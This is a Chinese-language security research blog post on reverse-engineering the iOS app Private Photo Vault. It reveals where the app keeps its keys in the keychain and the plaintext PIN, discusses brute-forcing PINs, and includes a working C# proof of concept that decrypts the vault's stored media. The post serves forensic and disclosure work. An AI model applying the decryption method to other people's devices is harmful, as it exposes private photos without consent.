Photo Vault应用在2021年仍可被攻破?一次iOS逆向工程之旅
更新记录
2021/08/22更新:根据读者提示,PPV iOS在最近更新(2021年8月初 - 版本11.9)中做出了重大改变。阅读发布说明并进行自己的测试后,我发现了一些新情况并希望讨论其影响。
总结
很高兴看到几乎所有改动都提升了PPV用户的安全性。唯一让我担忧的是基于云的备份功能,我将在后文详细讨论。
- 暴力破解PIN码仍然可能,但由于密钥空间增大,所需时间增加了
- 通过逆向工程努力,仍然可以解密媒体,特别是如果你知道PIN码或能访问解密的钥匙串
- 对于在此版本之前使用PPV的用户,我怀疑应用将继续使用旧方法,以避免重新加密所有媒体
数据库位置已改变,现在已加密
数据库现在位于先前位置的上层目录,扩展名为".ecd"(Encrypted Core Data的缩写)。尽管如此,它仍然完全兼容像DB Browser for SQLCipher这样的SQLCipher查看工具。
媒体项目现在使用每个项目的唯一密钥进行保护
从安全角度看,这并没有太大改变,因为你仍然只需要1个密钥(SQLCipher密钥)就能访问数据库。但这增加了额外步骤,更符合一些大型应用的做法(如Snapchat)。
数字密码现在最多可长达8位
这是应用安全性的一个早该实现的提升。4位数字密钥空间,即使有相当强大的KDF支持,也几乎总是容易受到暴力攻击。
现在提供"云备份"选项(需付费)
完整披露:我尚未调查此功能。这些意见基于适用于任何具有此类功能的保险库应用的通用概念。
更新 2020/01/29
我对此应用进行了更多工作,找到了无需钥匙串访问即可暴力破解PIN码的方法。我还创建了基于Python的解密器脚本(而不是本文附带的C#脚本)。
原始文章
我决定不强迫自己制作内容,而是等到有真正想写的东西。本文更侧重于我的研究成果,不过多讨论我是如何达到这些结果的。
为什么特别针对这个应用?
com.enchantedcloud.photovault或"Private Photo Vault"(以下简称PPV)之前一直是安全研究的主题。2015年11月,Michael Allen在IOActive发布了详细分析,发现该应用实际上没有加密任何内容!
关键要点
你是否认为这个应用安全,取决于你对各种提取方法的访问权限。
- PPV使用RNCryptor,这是一个在ObjectiveC、C#、JS等中都有实现的加密库
- 主密钥存储在钥匙串中的"ppv_DateHash"下
- 明文PIN码(最多4位)也存储在钥匙串中,作为"ppv_uuidHash1"
- 每个加密媒体文件基本上都是一个容器
基本流程/使用的工具
- 定位并越狱测试iOS设备
- 通过Cydia Impactor侧载安装PPV(应用商店也可以)
- 使用ITNL(iTunnel)通过USB设置访问并通过SSH获得设备root访问权限
- 在设备上安装并验证frida-server的操作
- 使用AloneMonkey的frida-ios-dump获取目标应用的解密二进制文件
- 使用Hopper对解密二进制文件进行静态分析
- 使用Frida和ObjC Method Observer监听特定类的iOS方法调用
- 在Hopper和Frida控制台之间来回切换,直到对情况有了很好的了解
- 研究RNCryptor-objc github仓库,了解这个AES包装器的工作原理
- 使用出色的LINQpad在C#中开发PoC,在给定keychain.plist的情况下解密PPV_Photos中的媒体
解密概念验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
void Main()
{
// 用户配置要求 --------------------------------->
// 输入目录应指向所有加密媒体所在的PPV沙盒
var pathToEncryptedFiles = @"c:\ppvtest\335CE0B0-..-B521433DD5D2\Library\PPV_Pics";
// 解密媒体输出位置
var decryptFilesTo = @"c:\ppvtest\out\";
// 来自keychain.plist -- genp键为"ppv_dateHash"
var aesKeyb64 = "mUAf0A6QF+DOoo...7tbZuqw2ImuRAkql0mY0zM=";
// 结束用户配置要求 !!!
Directory.CreateDirectory(decryptFilesTo);
// 从base64字符串转换为byte[]
var aesKey = Convert.FromBase64String(aesKeyb64);
// 遍历PPV_Pics文件夹中的加密文件
foreach (var item in Directory.GetFiles(pathToEncryptedFiles))
{
var inputData = File.ReadAllBytes(item);
// IV位于偏移量0x2处,长度为16字节
var iv = inputData.Skip(2).Take(16).ToArray();
// 我们的头长度为18字节(0x0表示版本,0x1表示选项,0x2表示16字节IV)
var headerLength = 18;
// 密码文本是其余部分,减去用于HMAC内容的32字节
var cipherText = inputData.Skip(headerLength).Take(inputData.Length - headerLength - 32).ToArray();
File.WriteAllBytes(decryptFilesTo + new FileInfo(item).Name, decryptAesCbcPkcs7(cipherText, aesKey, iv));
}
}
// 借用自Rob Napier的RNCryptor-cs
// https://github.com/RNCryptor/RNCryptor-cs
private byte[] decryptAesCbcPkcs7(byte[] encrypted, byte[] key, byte[] iv)
{
var aes = Aes.Create();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
var decryptor = aes.CreateDecryptor(key, iv);
byte[] plainBytes;
using (MemoryStream msDecrypt = new MemoryStream())
{
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write))
{
csDecrypt.Write(encrypted, 0, encrypted.Length);
csDecrypt.FlushFinalBlock();
plainBytes = msDecrypt.ToArray();
}
}
return plainBytes;
}
|
致谢
我要感谢以下人员对此研究项目的帮助:
- Grayshift的Braden Thomas(@drspringfield)
- Ivan Rodriguez(@ivRodriguezCA)
- DFIR Discord的@karate(Magnus RC3 Sweden)(@may_pol17)
- Cellebrite的Or Begam(@shloophen)